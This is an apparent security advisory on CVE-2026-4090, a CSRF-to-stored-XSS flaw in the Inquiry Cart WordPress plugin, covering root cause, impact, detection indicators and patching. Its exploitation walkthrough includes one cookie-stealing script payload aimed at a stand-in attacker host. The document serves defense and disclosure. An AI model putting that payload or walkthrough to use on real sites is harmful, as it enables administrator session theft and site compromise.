CVE-2026-4090: 
WordPress vulnerability analysis and mitigation

CVE-2026-4090 is a Cross-Site Request Forgery (CSRF) vulnerability in the Inquiry Cart plugin for WordPress, affecting all versions up to and including 3.4.2. The flaw allows unauthenticated attackers to modify plugin settings and inject stored malicious scripts into the WordPress admin area by tricking an administrator into clicking a crafted link. It was published on April 22, 2026, with a patch made available on the same date. The vulnerability carries a CVSS v3.1 base score of 6.1 (Medium) (GitHub Advisory).

The root cause is missing nonce verification (CWE-352) in the rd_ic_settings_page function within includes/settings-page.php, which processes settings form submissions without confirming the request's legitimacy. Because WordPress nonces are not checked, an attacker can craft a forged HTTP POST request that, when triggered by an authenticated administrator (e.g., via a malicious link), updates plugin settings with attacker-controlled values — including injecting JavaScript that is stored and later executed in the admin panel (stored XSS via CSRF). The vulnerable code paths are documented in the plugin's Trac repository at includes/settings-page.php (lines 6, 21, 46–49) and includes/inquiry-cart-shortcode.php (lines 32, 34) (GitHub Advisory).

Successful exploitation allows an unauthenticated attacker to alter the Inquiry Cart plugin's configuration and inject persistent malicious scripts into the WordPress admin area. The stored script executes in the context of any administrator who visits the affected admin page, potentially enabling session hijacking, credential theft, or further compromise of the WordPress installation. Confidentiality and integrity are both assessed as low impact, with no direct availability impact (GitHub Advisory).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation as of the advisory date. The EPSS score is approximately 0.01% (2nd percentile), indicating a very low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. Exploitation requires social engineering an administrator, which adds a meaningful barrier (GitHub Advisory).

1. Reconnaissance: Identify WordPress sites running the Inquiry Cart plugin version ≤ 3.4.2 using tools like WPScan or by inspecting publicly accessible plugin metadata.
2. Craft forged request: Construct a malicious HTML page or URL containing a hidden form that submits a POST request to the target site's admin settings endpoint handled by rd_ic_settings_page, embedding a JavaScript payload (e.g., <script>document.location='https://attacker.com/?c='+document.cookie</script>) in a plugin settings field.
3. Deliver the payload: Send the malicious link or embed the auto-submitting form in an email, forum post, or other channel likely to be accessed by a WordPress administrator of the target site.
4. Administrator triggers the request: When the administrator clicks the link or visits the attacker-controlled page while authenticated, their browser automatically submits the forged form, updating the plugin settings with the injected script.
5. Stored XSS execution: The malicious script is saved to the plugin's settings and executes in the admin area whenever an administrator loads the affected settings page, enabling session theft or further administrative actions (GitHub Advisory).

• Logs: WordPress admin access logs showing unexpected POST requests to the plugin settings page (/wp-admin/admin.php?page=inquiry-cart-settings or similar) from unusual referrers or IP addresses.
• File System: Unexpected or modified content in the Inquiry Cart plugin's settings stored in the WordPress database (wp_options table), particularly entries containing <script> tags or encoded JavaScript.
• Network: Outbound requests from the WordPress server or administrator browsers to unknown external domains shortly after admin page loads, potentially indicating script-based data exfiltration.
• Logs: WordPress debug logs or server error logs showing anomalous form submissions to rd_ic_settings_page without valid nonce values.

Users should update the Inquiry Cart plugin to a version newer than 3.4.2, which includes proper nonce verification in the settings form handler. A patch was made available on April 22, 2026. As an interim measure, administrators should avoid clicking unsolicited links while logged into WordPress, and site owners should consider restricting access to the WordPress admin area by IP allowlist. Implementing a Web Application Firewall (WAF) with CSRF protection rules can also reduce exposure (GitHub Advisory).

Wordfence included CVE-2026-4090 in its weekly WordPress vulnerability report for the period of April 20–26, 2026, as part of routine plugin vulnerability tracking. No significant independent researcher commentary or broader media coverage has been identified for this vulnerability.